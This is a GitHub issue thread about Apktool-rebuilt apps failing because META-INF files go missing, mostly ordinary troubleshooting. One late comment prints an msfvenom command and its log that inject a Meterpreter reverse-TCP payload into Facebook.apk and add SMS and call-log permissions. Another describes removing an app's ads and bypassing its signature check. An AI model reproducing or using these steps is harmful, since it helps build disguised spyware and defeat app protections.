Apktool: App won't work after building even without changing anything

Created on 29 Aug 2018  路  9Comments  路  Source: iBotPeaches/Apktool

I tried editing an apk and after I build it, it won't work anymore. Tried without changing anything, same result. Comparing the sizes with 7-Zip I saw that before extracting with apktool it had a bigger size, can't tell if it's really apktool fault, so I uploaded the apk for test purposes.

Information

  1. Apktool Version (apktool -version) - 2.3.3
  2. Operating System (Mac, Linux, Windows) - Windows
  3. APK From? (Playstore, ROM, Other) - other

Stacktrace/Logcat

Include stacktrace here

Steps to Reproduce

  1. apktool

Frameworks

If this APK is from an OEM ROM (Samsung, HTC, LG). Please attach framework files
(.apks that live in /system/framework or /system/priv-app)

APK

If this APK can be freely shared, please upload/attach a link to it.
https://drive.google.com/open?id=1xEm8est5tlbDWGk6mpkibJltvY0KDeDG

Questions to ask before submission

  1. Have you tried apktool d, apktool b without changing anything? Yes
  2. If you are trying to install a modified apk, did you resign it? Yes
  3. Are you using the latest apktool version? Yes
Waiting for issuer

Most helpful comment

Thanks for your help! Tried the -c option to see if it would work but I still got the same result :(

All 9 comments

This is because the META-INF of the app also has additional dependencies (files/folder).

Even if you decompile the apk and recompile it, those other files/directory will be removed.

The same thing happens to the Spectrum TV App...

Please see the https://github.com/iBotPeaches/Apktool/issues/1860#issuecomment-411173438 response from @iBotPeaches for his resolution.

The https://github.com/iBotPeaches/Apktool/issues/1703 issue also has some information regarding this same situation as well.

Good Luck!

~Ibuprophen

Thanks for your help! Tried the -c option to see if it would work but I still got the same result :(

I know... That only saves the original signature files and not the others for me.

~Ibuprophen

I tried editing an apk and after I build it, it won't work anymore.

Do you have any more information on "it won't work anymore"? Curious of what the logcat may say, perhaps this will point us directly to the problem. May be signature, missing resource, etc.

@iBotPeaches, when I had tested this out, it was the same issue as what I had submitted in https://github.com/iBotPeaches/Apktool/issues/1860 and your response didn't work out because of the additional dependencies within the META-INF being missing even when compiled. I believe that the two are linked to the Kotlin issue your working with elsewhere.

This is just my personal input...

~Ibuprophen

Sorry for the delayed response.
I couldn't enable debug mode on this app, but I think that I has something to do with a hidden Multi-Dex inside the primary dex.

apktool-cli-all_2.4.1-197d46-SNAPSHOT

I've wanted to removed ads from an app,
so I've decompiled it (without source),
when I've recompiled it (after editing 'Android.manifest' and some of the xml files in 'res/layout')
the apk won't install.

eventually I've figured that missing files under META-INF was the problem,
and I've solved it manually.

I solved the install problem by first "normal" recompiling (b),
extracting the apk with 7zip-zstd (to keep Unicode/long file names),
then I've went and copied all of the files from original/META-INF
except: 'CERT.RSA', 'CERT.SF' and 'MANIFEST.MF', to the extracted folder,
then I've used zipped the content with WinZip with legacy zip compression,
and renamed the extension from zip to apk,
I've aligned the zip and signed it myself with a keystore certificate I've generated.

using apktool with the "copy-original" command-line switch didn't worked for me,
it didn't copied all the other files that were in the META-INF folder,
and also - I've needed to keep my modified Android.manifest.

the result apk file was installed successfully,
opened and (sadly) compared signature (checksum) with Google-Play,
and refused to work.. so I will need to start over, null'ifying that part in the smali-code...

my notes:
https://gist.github.com/eladkarako/73c1b331b856da8c40d33d1da5daafe7#file-process-of-decompiling-recompiling-apk-with-apktool-and-7zip-zstd-zipalign-keytool-and-jarsigner-txt

my unofficial build:
https://icompile.eladkarako.com/unofficial-apktool/
( https://webcache.googleusercontent.com/search?ie=UTF-8&q=cache:https%3A%2F%2Ficompile.eladkarako.com%2Funofficial-apktool )

I have the same problem, app won't work after rebuilding via apktool.
I am trying to inject the payload into an existing apk file via msfvenom in Kali Linux
I am using apktool 2.4.1 from here

root@kali:~# msfvenom -a dalvik --platform android -x /root/Downloads/Facebook.apk -p android/meterpreter/reverse_tcp LHOST=(my ip) LHOST=(my port) -o /root/Desktop/test.apk
Using APK template: /root/Downloads/Facebook.apk
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.facebook.lite.yqqjc
[*] Loading /tmp/d20200525-2378-y2b0lp/original/smali/com/facebook/lite/ClientApplicationSplittedShell.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20200525-2378-y2b0lp/output.apk
[*] Signing /tmp/d20200525-2378-y2b0lp/output.apk
[*] Aligning /tmp/d20200525-2378-y2b0lp/output.apk
Payload size: 1612128 bytes
Saved as: /root/Desktop/test.apk

The apk file I used is available here, when I tried to install this apk file, I got Error: app not installed in android 9.0 where as in older android versions got error: parse error.
I also tried with this apk file, with this apk file I was able to successfully install it on my phone, but it won't open, it does open for a second, then closes.

Before I was getting Error: malformed string number version 2.4.1-dirty, so as to avoid that I placed

_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'

these commands into /root/.bashrc
I also tried empty-framework-dir --force

Sorry I can't follow this ticket. So many different things mixed and the original report was size difference on apk without the logcat of what that led too.

It took me a few years so I apologize, but going to close this.

Was this page helpful?
0 / 5 - 0 ratings